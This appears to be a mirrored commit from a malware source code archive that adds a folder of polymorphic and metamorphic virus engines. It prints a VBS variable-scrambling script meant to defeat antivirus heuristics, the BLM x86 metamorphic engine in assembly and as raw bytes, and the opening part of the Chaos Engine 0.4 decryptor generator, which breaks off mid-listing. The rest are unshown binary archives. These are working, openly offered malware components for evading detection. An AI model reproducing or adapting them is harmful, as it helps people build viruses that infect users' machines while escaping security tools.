mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
Add files via upload
This commit is contained in:
parent
3b1112577c
commit
930c435323
Engines
Virus.BAT.Poly.7zVirus.Linux.Lime.7zVirus.VBS.KVPE.txtVirus.Win32.Abme.7zVirus.Win32.Alma.7zVirus.Win32.Antisocial.7zVirus.Win32.Antiweb.7zVirus.Win32.Ape.7zVirus.Win32.Benny.a.7zVirus.Win32.Bi-Perm.7zVirus.Win32.Blm.asmVirus.Win32.Chaos.ASMVirus.Win32.DarkElf.asmVirus.Win32.Dina.7zVirus.Win32.Dizzy.7zVirus.Win32.Dme.7zVirus.Win32.Expo.7zVirus.Win32.Flying.asmVirus.Win32.Gv.ASMVirus.Win32.Ipe32.txtVirus.Win32.Kpasm.7zVirus.Win32.Kpasm.English.pdfVirus.Win32.Morpher.a.asmVirus.Win32.Morpher.b.asmVirus.Win32.NBKPE.txtVirus.Win32.Nazka.528Virus.Win32.Pker.incVirus.Win32.Plexar.asmVirus.Win32.Poly.7zVirus.Win32.Real.incVirus.Win32.Simple.7zVirus.Win32.Spectr0.7zVirus.Win32.Vpe.7zVirus.Win32.Xtg.7zVirus.Win32.Yad13.7zVirus.Win32.badf00d.asm
BIN
Engines/Virus.BAT.Poly.7z
Normal file
BIN
Engines/Virus.BAT.Poly.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Linux.Lime.7z
Normal file
BIN
Engines/Virus.Linux.Lime.7z
Normal file
Binary file not shown.
73
Engines/Virus.VBS.KVPE.txt
Normal file
73
Engines/Virus.VBS.KVPE.txt
Normal file
@ -0,0 +1,73 @@
|
||||
Kefi's VBS Polymorphic Engine v0.1
|
||||
[KVPE]
|
||||
January 24, 2003
|
||||
Kefi.[rRlf]
|
||||
-
|
||||
|
||||
How to use KVPE:
|
||||
1. Make a list of every variable in your VBS file
|
||||
2. Add it them at the line given
|
||||
3. Add the following code to the bottom of your VBS file
|
||||
|
||||
-
|
||||
|
||||
Significance:
|
||||
This script will replace your variables with a randomly created string with
|
||||
a random length. By doing this Anti-Viruses will not be able to pick them
|
||||
up with heuristic scanning, or by the file's size.
|
||||
|
||||
-
|
||||
|
||||
Disclaimer:
|
||||
This code is for educational purposes only. I will not be held responsible
|
||||
for your actions with this script.
|
||||
If you are to use this script in your VBS file you MUST contact me first. I
|
||||
do not want this method spread.
|
||||
|
||||
-
|
||||
|
||||
Note:
|
||||
On run this file will create new varibles in your file, which will be hard
|
||||
to work with, I sujest not running the file until it is finished.
|
||||
|
||||
-
|
||||
|
||||
Contact Me:
|
||||
e-Mail - kefi@rRlf.de
|
||||
HTTP - http://vx.netlux.org/~kefi
|
||||
VX Group - http://rRlf.de
|
||||
|
||||
'---------------- KVPE Code Starts ----------------
|
||||
randomize
|
||||
set fso=createobject("scripting.filesystemobject")
|
||||
set vbsfile=fso.opentextfile(wscript.scriptfullname,1,false)
|
||||
code=vbsfile.readall
|
||||
vars=array("code","vars","var","newlet","num","newlet","fso","vbsfile") '<--- Add all of your varibles here, but do not take any of the ones already in out because if you do the script will not work.
|
||||
for each var in vars
|
||||
for num=1 to int(rnd*14) + 2
|
||||
if int(rnd*2)+1=1 then
|
||||
newlet=newlet& ucase(chr((int(rnd*22)+97)))
|
||||
if int(rnd*2)+1=1 then
|
||||
newlet=newlet & int(rnd*int(rnd*4))
|
||||
end if
|
||||
else
|
||||
newlet=newlet&lcase(chr((int(rnd*22)+97)))
|
||||
if int(rnd*2)+1=1 then
|
||||
newlet=newlet&int(rnd *2)
|
||||
else
|
||||
newlet=newlet&int(rnd*int(rnd*6))
|
||||
end if
|
||||
end if
|
||||
next
|
||||
code=replace(code,var,newlet)
|
||||
newlet=""
|
||||
next
|
||||
set vbsfile=fso.opentextfile(wscript.scriptfullname,2,false)
|
||||
vbsfile.write code
|
||||
'---------------- KVPE Code Stops ----------------
|
||||
|
||||
A newer version may be expected in the future, goto http://vx.netlux.org/~kefi for
|
||||
updates.
|
||||
|
||||
Regards,
|
||||
Kefi.[rRlf]
|
BIN
Engines/Virus.Win32.Abme.7z
Normal file
BIN
Engines/Virus.Win32.Abme.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Alma.7z
Normal file
BIN
Engines/Virus.Win32.Alma.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Antisocial.7z
Normal file
BIN
Engines/Virus.Win32.Antisocial.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Antiweb.7z
Normal file
BIN
Engines/Virus.Win32.Antiweb.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Ape.7z
Normal file
BIN
Engines/Virus.Win32.Ape.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Benny.a.7z
Normal file
BIN
Engines/Virus.Win32.Benny.a.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Bi-Perm.7z
Normal file
BIN
Engines/Virus.Win32.Bi-Perm.7z
Normal file
Binary file not shown.
325
Engines/Virus.Win32.Blm.asm
Normal file
325
Engines/Virus.Win32.Blm.asm
Normal file
@ -0,0 +1,325 @@
|
||||
; BLM ~ BlueOwls Light Meta
|
||||
; *************************
|
||||
;
|
||||
; Details
|
||||
;
|
||||
; Name: BLM (BlueOwls Light Meta)
|
||||
; Date: 16 May 2005
|
||||
; Size: 412 bytes
|
||||
; Morphing power: light
|
||||
; Morphing type: non-expansion
|
||||
; Compatibility: most common x86 and pentium specific (rdtsc/movzx/..)
|
||||
; Platforms: all 32bit (and maybe 16bit) x86 instruction set OSes
|
||||
; Used compiler: FASM 1.60
|
||||
; Bugs: hopefully none
|
||||
;
|
||||
; Morphing
|
||||
;
|
||||
; The following instructions can be morphed:
|
||||
;
|
||||
; 1. OP reg, reg -> changing the D bit (2)
|
||||
; 2. OP (reg,) [(imm32+)reg] -> changing the unused SCALE bits (4)
|
||||
; 3. OP (reg,) [(imm32+)reg+reg*1] -> swapping the regs (2)
|
||||
;
|
||||
; Any other instruction's size is calculated and skipped.
|
||||
;
|
||||
; Usage notes
|
||||
;
|
||||
; BLM can be usefull for any application which would like to do code
|
||||
; morphing on its own, or other code. There are however, some things
|
||||
; to keep note on:
|
||||
;
|
||||
; - Make sure you don't mix data with code, for example:
|
||||
; > CALL _LABEL
|
||||
; > DB "some string",0
|
||||
; > _LABEL:
|
||||
; Would make the meta miscorrectly assume "some string",0 to be
|
||||
; code. So make sure that in the codearea you specify is no data.
|
||||
; - On input, esi is allowed to equal edi, but it is not recommended
|
||||
; if it will cause the meta to morph itself on runtime.
|
||||
; - This code does not need any data, and only needs to be able to
|
||||
; execute. It is completely permutatable.
|
||||
;
|
||||
; Agreement
|
||||
;
|
||||
; This sourcecode is meant to be used in freeware and shareware
|
||||
; programs, and therefor it is strictly prohibited to add any of this
|
||||
; code in binary or source format in scan strings or other detection
|
||||
; methods. If done, it will impact on the sellability of the product,
|
||||
; and can result in high fees and/or trials before court.
|
||||
; YOU HAVE BEEN WARNED
|
||||
|
||||
use32
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄ META SOURCE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
; in: esi(ecx) = start of code to morph
|
||||
; edi(ecx) = start of buffer to put morphed code in
|
||||
; ecx = size of code to morph (and buffer)
|
||||
; out: esi = esi + ecx
|
||||
; edi = edi + ecx
|
||||
; other registers are destroyed (except esp)
|
||||
|
||||
BLM: cld
|
||||
lea ebx, [esi+ecx] ; ebx = ptr to end of code to morph
|
||||
nextcode: push ebx
|
||||
xor ecx, ecx
|
||||
push 4
|
||||
pop ebx
|
||||
call .innext
|
||||
pop ebx
|
||||
rol edx, 7 ; simple RAND function
|
||||
neg dx
|
||||
cmp ebx, esi
|
||||
ja nextcode
|
||||
ret
|
||||
|
||||
.next: movsb
|
||||
.innext: mov al, [esi]
|
||||
and al, 11100111b
|
||||
cmp al, 00100110b ; es/cs/ss/ds segment?
|
||||
jz .next ; check if more
|
||||
mov al, [esi]
|
||||
and al, 11111110b
|
||||
cmp al, 01100100b ; fs/gs segment?
|
||||
jz .next ; check if more
|
||||
cmp al, 11110010b ; repz/repnz?
|
||||
jz .next ; check if more
|
||||
cmp al, 01100110b ; WORD?
|
||||
jnz opcode
|
||||
mov bl, 2 ; set WORD size
|
||||
jmp .next
|
||||
|
||||
; -----------------------------------------------------------------------
|
||||
|
||||
opcode: mov al, [esi]
|
||||
cmp al, 0fh
|
||||
jnz branch_start
|
||||
movsb
|
||||
or al, [esi] ; ????1111
|
||||
cmp al, 10001111b
|
||||
jz .6byte ; -> jxx label32
|
||||
cmp al, 10111111b
|
||||
jz .3byte ; -> movzx/bt?
|
||||
jmp .done
|
||||
.6byte: movsb
|
||||
movsb
|
||||
movsb
|
||||
.3byte: movsb
|
||||
.done: movsb
|
||||
ret
|
||||
branch_start: shl al, 1
|
||||
jc branch_1xxxxxxx
|
||||
branch_0xxxxxxx:shl al, 1
|
||||
jc branch_01xxxxxx
|
||||
branch_00xxxxxx:shl al, 4
|
||||
jnc op_rmrm_d
|
||||
op_eax: mov al, [esi]
|
||||
shr al, 1
|
||||
jc .pr32
|
||||
movsb
|
||||
movsb
|
||||
ret ; -> op al, imm8
|
||||
.pr32: add ecx, ebx ; -> op eax, imm32
|
||||
rep movsb
|
||||
movsb
|
||||
ret
|
||||
branch_01xxxxxx:cmp al, 11000000b
|
||||
jb .ncjump
|
||||
movsb ; -> jxx label8
|
||||
.ncjump: cmp al, 068h
|
||||
jz do_5byte ; -> push imm32
|
||||
cmp al, 06ah
|
||||
jnz .done ; -> popad/pushad/pop/push/dec/inc (reg)
|
||||
stosb ; -> push imm8
|
||||
.done: movsb
|
||||
ret
|
||||
|
||||
op_rmrm_d: mov al, [esi+1] ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,r/m
|
||||
rcr edx, 1 ; rand true/false
|
||||
jc .nomorph
|
||||
cmp al, 11000000b
|
||||
.nomorph: jb op_rm ; (jc == jb so little optimization)
|
||||
lodsb
|
||||
xor al, 00000010b
|
||||
stosb
|
||||
lodsb
|
||||
and eax, 00111111b ; 00000000 00regreg
|
||||
shl eax, 5 ; 00000reg reg00000
|
||||
shr al, 2 ; 00000reg 00reg000
|
||||
or al, ah ; 00000xxx 00regreg
|
||||
or al, 11000000b ; 11regreg
|
||||
stosb
|
||||
ret
|
||||
|
||||
branch_1xxxxxxx:shl al, 1
|
||||
jc branch_11xxxxxx
|
||||
branch_10xxxxxx:shl al, 1
|
||||
jc branch_101xxxxx
|
||||
branch_100xxxxx:shl al, 1
|
||||
jc branch_01xxxxxx.ncjump ; -> xchg eax,reg/cwde/cdq/pushf/popf/sahf/lahf
|
||||
branch_1000xxxx:cmp al, 01000000b
|
||||
jae op_rm ; -> test/xchg/mov/lea/pop r/m(,r/m)
|
||||
shl al, 3
|
||||
jc op_rmimm8 ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,imm8
|
||||
jmp op_rmimm32 ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,imm32
|
||||
branch_101xxxxx:shl al, 1
|
||||
jc branch_1011xxxx
|
||||
branch_1010xxxx:and al, 11100000b
|
||||
cmp al, 00100000b
|
||||
jb op_eax ; -> test eax, imm
|
||||
cmp al, 10000000b
|
||||
jz do_5byte ; -> mov mem32, eax
|
||||
movsb
|
||||
ret ; -> movs/stos/lods/scas
|
||||
branch_1011xxxx:shl al, 1
|
||||
jnc branch_1100001x.2byte ; -> mov reg, imm8
|
||||
jmp op_eax.pr32 ; -> mov reg, imm32
|
||||
do_5byte: movsd
|
||||
movsb
|
||||
ret
|
||||
branch_11xxxxxx:shl al, 1
|
||||
jc branch_111xxxxx
|
||||
branch_110xxxxx:shl al, 1
|
||||
jc branch_1101xxxx
|
||||
branch_1100xxxx:cmp al, 11010000b
|
||||
jz branch_1100001x.2byte ; -> int imm8
|
||||
shl al, 1
|
||||
jc branch_1100001x.done ; -> leave/int 3
|
||||
branch_11000xxx:shl al, 1
|
||||
jc op_rm_w ; -> mov r/m, imm
|
||||
branch_110000xx:shl al, 1
|
||||
jc branch_1100001x
|
||||
inc ecx ; -> rol/ror/rcl/rcr/shl/shr/sal/sar reg, 1
|
||||
jmp op_rm
|
||||
branch_1100001x:shl al, 1
|
||||
jc .done
|
||||
.3byte: movsb
|
||||
.2byte: movsb ; -> ret imm16
|
||||
.done: movsb
|
||||
ret ; -> ret
|
||||
branch_1101xxxx:shl al, 2
|
||||
jc branch_1100001x.done ; -> xlatb
|
||||
branch_1101x0xx:jmp op_rm ; -> rol/ror/rcl/rcr/shl/shr/sal/sar reg, 1
|
||||
|
||||
branch_111xxxxx:shl al, 1
|
||||
jc branch_1111xxxx
|
||||
branch_1110xxxx:shl al, 1
|
||||
jnc branch_11101010 ; -> loop label
|
||||
branch_11101xxx:cmp al, 00100000b
|
||||
jz branch_111010x0.done ; -> call label
|
||||
branch_111010x0:shl al, 2
|
||||
jc branch_11101010
|
||||
.done: movsd ; -> jmp label32
|
||||
movsb
|
||||
ret
|
||||
branch_11101010:movsb
|
||||
movsb
|
||||
ret ; -> jmp label8
|
||||
branch_1111xxxx:shl al, 1
|
||||
jc branch_11111xxx
|
||||
branch_11110xxx:shl al, 2
|
||||
jnc branch_11111xxx.done ; -> cmc
|
||||
branch_11111x1x:mov al, [esi+1] ; al = modr/m
|
||||
and al, 00111000b
|
||||
jnz op_rm ; -> not/mul/div/idiv
|
||||
jmp op_rm_w ; -> test
|
||||
branch_11111xxx:shl al, 1
|
||||
jc .done ; -> clc/stc/cli
|
||||
shr al, 1
|
||||
jc op_rm ; -> inc/dec/call/jmp/push
|
||||
.done: movsb
|
||||
ret ; -> cld/std
|
||||
|
||||
; -----------------------------------------------------------------------
|
||||
|
||||
op_rm_w: mov al, [esi]
|
||||
shr al, 1
|
||||
jnc op_rmimm8
|
||||
op_rmimm32: add ecx, ebx ; imm length will be 4 or 2
|
||||
dec ecx
|
||||
op_rmimm8: inc ecx ; imm length = 1 byte
|
||||
op_rm: movsb
|
||||
lodsb
|
||||
stosb
|
||||
cmp al, 11000000b ; op reg, reg
|
||||
jae .done
|
||||
mov ah, al
|
||||
and al, 111b
|
||||
shr ah, 6
|
||||
jz .regaddr
|
||||
cmp ah, 00000001b
|
||||
jz .ddone
|
||||
add ecx, 3 ; op reg, [reg+dword]
|
||||
.ddone: inc ecx ; op reg, [reg+byte]
|
||||
.cmpsib: cmp al, 00000100b
|
||||
jnz .done
|
||||
xor ebx, ebx
|
||||
mov eax, ebx
|
||||
lodsb ; 00000000 iiregreg
|
||||
shl eax, 2 ; 000000ii regreg00
|
||||
xchg bl, ah ; 00000000 regreg00
|
||||
shl eax, 3 ; 00000reg reg00000
|
||||
shr al, 5 ; 00000reg 00000reg
|
||||
cmp ah, 4
|
||||
jz .randindex
|
||||
cmp al, 4
|
||||
jz .nosib
|
||||
or bl, bl ; index = 1?
|
||||
jnz .nosib
|
||||
rcr edx, 1
|
||||
jnc .nosib ; randomly abort switch
|
||||
xchg al, ah
|
||||
jmp .nosib
|
||||
.randindex: mov bl, dl ; index is random
|
||||
and bl, 00000011b
|
||||
.nosib: shl al, 5 ; 00000reg reg00000
|
||||
shr eax, 3 ; 00000000 regreg00
|
||||
mov ah, bl ; 000000ii regreg00
|
||||
shr eax, 2 ; 00000000 iiregreg
|
||||
stosb
|
||||
.done: rep movsb
|
||||
ret
|
||||
.regaddr: cmp al, 00000101b ; op reg, [dword]
|
||||
jnz .cmpsib
|
||||
movsd
|
||||
jmp .done
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄ META BINARY ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
; in: esi(ecx) = start of code to morph
|
||||
; edi(ecx) = start of buffer to put morphed code in
|
||||
; ecx = size of code to morph (and buffer)
|
||||
; out: esi = esi + ecx
|
||||
; edi = edi + ecx
|
||||
; other registers are destroyed (except esp)
|
||||
|
||||
BLM: db 252,141,28,14,83,49,201,106,4,91,232,13,0,0,0,91
|
||||
db 193,194,7,102,247,218,57,243,119,234,195,164,138,6,36,231
|
||||
db 60,38,116,247,138,6,36,254,60,100,116,239,60,242,116,235
|
||||
db 60,102,117,4,179,2,235,227,138,6,60,15,117,19,164,10
|
||||
db 6,60,143,116,6,60,191,116,5,235,4,164,164,164,164,164
|
||||
db 195,208,224,114,75,208,224,114,20,192,224,4,115,31,138,6
|
||||
db 208,232,114,3,164,164,195,1,217,243,164,164,195,60,192,114
|
||||
db 1,164,60,104,116,95,60,106,117,1,170,164,195,138,70,1
|
||||
db 209,218,114,2,60,192,15,130,179,0,0,0,172,52,2,170
|
||||
db 172,131,224,63,193,224,5,192,232,2,8,224,12,192,170,195
|
||||
db 208,224,114,52,208,224,114,23,208,224,114,198,60,64,15,131
|
||||
db 139,0,0,0,192,224,3,15,130,129,0,0,0,235,124,208
|
||||
db 224,114,12,36,224,60,32,114,149,60,128,116,8,164,195,208
|
||||
db 224,115,37,235,146,165,164,195,208,224,114,38,208,224,114,27
|
||||
db 60,208,116,20,208,224,114,17,208,224,114,73,208,224,114,3
|
||||
db 65,235,76,208,224,114,2,164,164,164,195,192,224,2,114,249
|
||||
db 235,61,208,224,114,19,208,224,115,12,60,32,116,5,192,224
|
||||
db 2,114,3,165,164,195,164,164,195,208,224,114,14,192,224,2
|
||||
db 115,17,138,70,1,36,56,117,22,235,10,208,224,114,4,208
|
||||
db 232,114,12,164,195,138,6,208,232,115,3,1,217,73,65,164
|
||||
db 172,170,60,192,115,76,136,196,36,7,192,236,6,116,70,128
|
||||
db 252,1,116,3,131,193,3,65,60,4,117,54,49,219,137,216
|
||||
db 172,193,224,2,134,220,193,224,3,192,232,5,128,252,4,116
|
||||
db 16,60,4,116,17,8,219,117,13,209,218,115,9,134,196,235
|
||||
db 5,136,211,128,227,3,192,224,5,193,232,3,136,220,193,232
|
||||
db 2,170,243,164,195,60,5,117,191,165,235,246
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
862
Engines/Virus.Win32.Chaos.ASM
Normal file
862
Engines/Virus.Win32.Chaos.ASM
Normal file
@ -0,0 +1,862 @@
|
||||
radix 16
|
||||
|
||||
;*****************************************
|
||||
;* T.H.E - C.H.A.O.S - E.N.G.I.N.E - 0.4 *
|
||||
;*****************************************
|
||||
;1995 - Sepultura - Australia
|
||||
;;
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
;;;on CALLing of TCE -
|
||||
;;;AX = TCE Flags:1 - Pad To DECRYPTOR_LENGTH.
|
||||
;;; 2 - Make Short Decryptor (No Junk).
|
||||
;;; 4 - Add Segment Overide.
|
||||
;;;
|
||||
;;;CX = Length of Code to Encrypt.
|
||||
;;;DX = Delta Offset.
|
||||
;;;DS:SI = Code to encrypt (DS _MUST_ = CS).
|
||||
;;;ES:DI = Location of Buffer to Create Decryptor in.
|
||||
;;;
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
;;;ON RETURN:
|
||||
;;;ES = DS = Segment of Decryptor / Encrypted Code
|
||||
;;;DX = Pointer to Start of Code
|
||||
;;;CX = Length of Code
|
||||
;;;;;;;;;;;;;;;;;;;
|
||||
;;;Flag EQUates
|
||||
|
||||
MAKE_SMALL equ 1
|
||||
PAD_TO_MAX equ 2
|
||||
ADD_SEG equ 4
|
||||
|
||||
;;;;;;;;;;;;;;;;;;;
|
||||
;;;W.H.A.T.E.V.E.R
|
||||
|
||||
DECRYPTOR_LENGTH equ 190h
|
||||
MAX_PADDING equ 90h - 1f
|
||||
length_1 equ (offset int_tbl - offset one_byters)-1
|
||||
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
;;;REGISTER TABLE - INTEL STANDLE FORMAT
|
||||
|
||||
tce_AX equ 0000xB
|
||||
tce_CX equ 0001xB
|
||||
tce_DX equ 0010xB
|
||||
tce_BX equ 0011xB
|
||||
tce_SP equ 0100xB
|
||||
tce_BP equ 0101xB
|
||||
tce_SI equ 0110xB
|
||||
tce_DI equ 0111xB
|
||||
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
;;;THe BeLoW InSTuCTiOn CaN KilL A MaN
|
||||
|
||||
db '[TCE-0.4]',0
|
||||
|
||||
;*****************************************************
|
||||
;*****************************************************
|
||||
;*** The REAL _REAL_ START of THE CHAOS ENGINE 0.4 ***
|
||||
;*****************************************************
|
||||
;*****************************************************
|
||||
|
||||
tce: push ax,bx,bp
|
||||
push di,si
|
||||
|
||||
cld
|
||||
|
||||
mov tce_begin,di
|
||||
mov tce_delta,dx
|
||||
mov c_length,cx
|
||||
mov tce_flags,ax
|
||||
call clear_regs
|
||||
mov B index_sub,0
|
||||
|
||||
mov B[offset more_junk],0b0
|
||||
test W tce_flags,MAKE_SMALL
|
||||
if nz mov B[offset more_junk],0c3
|
||||
|
||||
push si
|
||||
call get_rand_1f
|
||||
add ax,MAX_PADDING
|
||||
xchg cx,ax
|
||||
call more_junk
|
||||
|
||||
swap0: mov si,offset init_1
|
||||
lodsw
|
||||
call binary
|
||||
jz no_swap1
|
||||
xchg ax,[si]
|
||||
mov [si-2],ax
|
||||
|
||||
no_swap1:
|
||||
push ax
|
||||
lodsw
|
||||
call binary
|
||||
jnz no_swap2
|
||||
xchg ax,[si]
|
||||
mov [si-2],ax
|
||||
|
||||
no_swap2:
|
||||
push ax
|
||||
lodsw
|
||||
lodsw
|
||||
call binary
|
||||
jz build_code
|
||||
xchg ax,[si]
|
||||
mov [si-2],ax
|
||||
|
||||
build_code:
|
||||
pop ax
|
||||
call ax
|
||||
call pad_10
|
||||
pop ax
|
||||
call ax
|
||||
call pad_10
|
||||
call W init_3
|
||||
call pad_10
|
||||
call gen_decrypt
|
||||
call pad_8
|
||||
call W init_4
|
||||
call pad_8
|
||||
call W init_5
|
||||
call pad_10
|
||||
call gen_loop
|
||||
call pad_8
|
||||
|
||||
test W tce_flags,PAD_TO_MAX
|
||||
jz no_padding
|
||||
|
||||
mov B[offset more_junk],0b0
|
||||
mov cx,DECRYPTOR_LENGTH
|
||||
add cx,tce_begin
|
||||
sub cx,di
|
||||
call more_junk
|
||||
|
||||
no_padding:
|
||||
mov ax,di
|
||||
sub ax,DECRYPTOR_LENGTH
|
||||
add enc_index,ax
|
||||
mov bx,W index_loc
|
||||
cmp B index_sub,1
|
||||
if e neg ax
|
||||
add es:[bx],ax
|
||||
|
||||
pop si
|
||||
mov cx,c_length
|
||||
rep movsb
|
||||
mov dx,tce_begin
|
||||
mov ds,es
|
||||
call encryptor
|
||||
mov cx,di
|
||||
sub cx,dx
|
||||
|
||||
pop si,di
|
||||
pop bp,bx,ax
|
||||
ret
|
||||
|
||||
init_count: ;Initialises Count Register..
|
||||
call get_unused_reg ;Make Count Initialiser in Encryptor and
|
||||
cmp al,tce_DX
|
||||
je init_count
|
||||
mov count_reg,al ;Decryptor
|
||||
mov bx,W c_length
|
||||
shr bx,1
|
||||
mov W enc_length,bx
|
||||
call gen_mov_reg
|
||||
ret
|
||||
|
||||
init_index: ;Initialises Index Register..
|
||||
mov ax,0ff ;Makes Index Initialiser in Encryptor and
|
||||
call get_rand ;Decryptor..
|
||||
push ax
|
||||
call get_rand_7
|
||||
pop ax
|
||||
if z xor ax,ax
|
||||
mov B index_off,al
|
||||
mov bx,DECRYPTOR_LENGTH
|
||||
add bx, tce_begin
|
||||
mov W enc_index,bx
|
||||
add bx, tce_delta
|
||||
cbw
|
||||
sub bx,ax
|
||||
|
||||
get_index:
|
||||
call get_unused_reg
|
||||
cmp al,tce_BX
|
||||
jb get_index
|
||||
mov W index_num,ax
|
||||
mov B index_reg,al
|
||||
mov B index_set,1
|
||||
call gen_mov_reg
|
||||
mov B index_set,0
|
||||
ret
|
||||
|
||||
gen_decrypt: ;generates DECRYPTOR / ENCRYPTOR instruction
|
||||
mov W loop_start,di
|
||||
call pad_8
|
||||
mov bl,B key_reg
|
||||
sal bl,3
|
||||
call get_rand_2
|
||||
add ax,ax
|
||||
add ax,offset enc_table
|
||||
xchg si,ax
|
||||
lodsw
|
||||
call binary
|
||||
if z xchg ah,al
|
||||
push ax
|
||||
cmp si,offset enc_table + 2
|
||||
jne no_carry_set
|
||||
mov al,0f8
|
||||
call binary
|
||||
if z inc ax
|
||||
mov B enc_cf,al
|
||||
stosb
|
||||
|
||||
no_carry_set:
|
||||
test W tce_flags,ADD_SEG
|
||||
jz no_seg_set
|
||||
mov al,2e
|
||||
stosb
|
||||
|
||||
no_seg_set:
|
||||
pop ax
|
||||
stosb
|
||||
mov B enc_loop,ah
|
||||
mov si,W index_num
|
||||
|
||||
cmp B index_reg,tce_BP
|
||||
je encryptor_has_offset
|
||||
cmp B index_off,0
|
||||
jne encryptor_has_offset
|
||||
push ax
|
||||
call get_rand_7
|
||||
pop ax
|
||||
jz encryptor_has_offset
|
||||
add si,index_tab_c
|
||||
lodsb
|
||||
or al,bl
|
||||
stosb
|
||||
ret
|
||||
|
||||
encryptor_has_offset:
|
||||
add si,index_tab_b
|
||||
lodsb
|
||||
or al,bl
|
||||
mov ah,B index_off
|
||||
or al,bl
|
||||
stosw
|
||||
xchg al,ah
|
||||
cbw
|
||||
call binary
|
||||
jnz ret
|
||||
mov al,ah
|
||||
stosb
|
||||
add es:B[di-3],40
|
||||
ret
|
||||
|
||||
modify_key: ;Modify Key: XOR/ADD/SUB key_reg,xxxx
|
||||
call get_rand_7
|
||||
jz no_mod_key
|
||||
call get_rand_2
|
||||
add ax,offset modify_table
|
||||
xchg si,ax
|
||||
lodsb
|
||||
mov ah,al
|
||||
mov al,81
|
||||
mov W enc_mod_op,ax
|
||||
or ah,B key_reg
|
||||
stosw
|
||||
call get_any_rand
|
||||
stosw
|
||||
|
||||
no_mod_key:
|
||||
mov W enc_mod_val,ax
|
||||
|
||||
ret
|
||||
|
||||
inc_index: ;increase index by 2..
|
||||
call binary ;1 in 2 chance of ADD reg,2/SUB reg,-2
|
||||
jz add_sub_index
|
||||
|
||||
mov al,B index_reg
|
||||
or al,40
|
||||
stosb
|
||||
call pad_8
|
||||
stosb
|
||||
ret
|
||||
|
||||
add_sub_index:
|
||||
mov al,83
|
||||
stosb
|
||||
mov ah,2
|
||||
mov al,B index_reg
|
||||
or al,0c0
|
||||
|
||||
call binary
|
||||
jnz put_add_sub_index
|
||||
|
||||
neg ah
|
||||
or al,0e8
|
||||
|
||||
put_add_sub_index:
|
||||
stosw
|
||||
ret
|
||||
|
||||
gen_loop:
|
||||
mov al,B count_reg
|
||||
cmp al,tce_CX
|
||||
jne not_CX
|
||||
|
||||
push ax
|
||||
call get_rand_7
|
||||
pop ax
|
||||
jz not_CX
|
||||
|
||||
lea bx,[di+2]
|
||||
mov ax,W loop_start
|
||||
sub ax,bx
|
||||
mov ah,0e2
|
||||
call binary
|
||||
jnz no_loop_nz
|
||||
xchg bp,ax
|
||||
jmp short do_loop_nz
|
||||
|
||||
no_loop_nz:
|
||||
xchg ah,al
|
||||
stosw
|
||||
ret
|
||||
|
||||
not_CX: xchg bx,ax
|
||||
|
||||
call binary
|
||||
jz count_add_sub
|
||||
|
||||
mov al,48
|
||||
or al,bl
|
||||
stosb
|
||||
jmp short zero_test
|
||||
|
||||
|
||||
count_add_sub:
|
||||
mov al,83
|
||||
stosb
|
||||
mov ah,-1
|
||||
mov al,bl
|
||||
or al,0c0
|
||||
|
||||
call binary
|
||||
jnz put_add_sub_count
|
||||
|
||||
neg ah
|
||||
or al,0e8
|
||||
|
||||
put_add_sub_count:
|
||||
stosw
|
||||
xor bp,bp
|
||||
push ax
|
||||
call get_rand_7
|
||||
pop ax
|
||||
jz nloop_nz
|
||||
|
||||
zero_test:
|
||||
call pad_10
|
||||
xor bp,bp
|
||||
do_loop_nz:
|
||||
mov al,B count_reg
|
||||
mov bl,al
|
||||
sal al,3
|
||||
or al,bl
|
||||
xchg ah,al
|
||||
mov bh,ah
|
||||
call get_rand_2
|
||||
add ax,offset zero_test_a
|
||||
xchg si,ax
|
||||
lodsb
|
||||
mov ah,bh
|
||||
or ah,0c0
|
||||
stosw
|
||||
|
||||
nloop_nz:
|
||||
lea bx,[di+2]
|
||||
mov ax,W loop_start
|
||||
sub ax,bx
|
||||
or bp,bp
|
||||
jnz loop_nz
|
||||
mov ah,075
|
||||
call binary
|
||||
jnz nnnn
|
||||
mov B es:[di],0f8
|
||||
inc di
|
||||
sub ax,0fe01
|
||||
db 0a9
|
||||
|
||||
loop_nz:mov ah,0e0
|
||||
|
||||
|
||||
nnnn: xchg ah,al
|
||||
stosw
|
||||
ret
|
||||
|
||||
init_key:
|
||||
call get_any_rand
|
||||
mov W enc_key,ax
|
||||
xchg bx,ax
|
||||
call get_unused_reg
|
||||
mov B key_reg,al
|
||||
|
||||
gen_mov_reg:
|
||||
call binary
|
||||
jz lea_mov
|
||||
|
||||
or al,0b8
|
||||
stosb
|
||||
xchg ax,bx
|
||||
jmp short put_mov_b
|
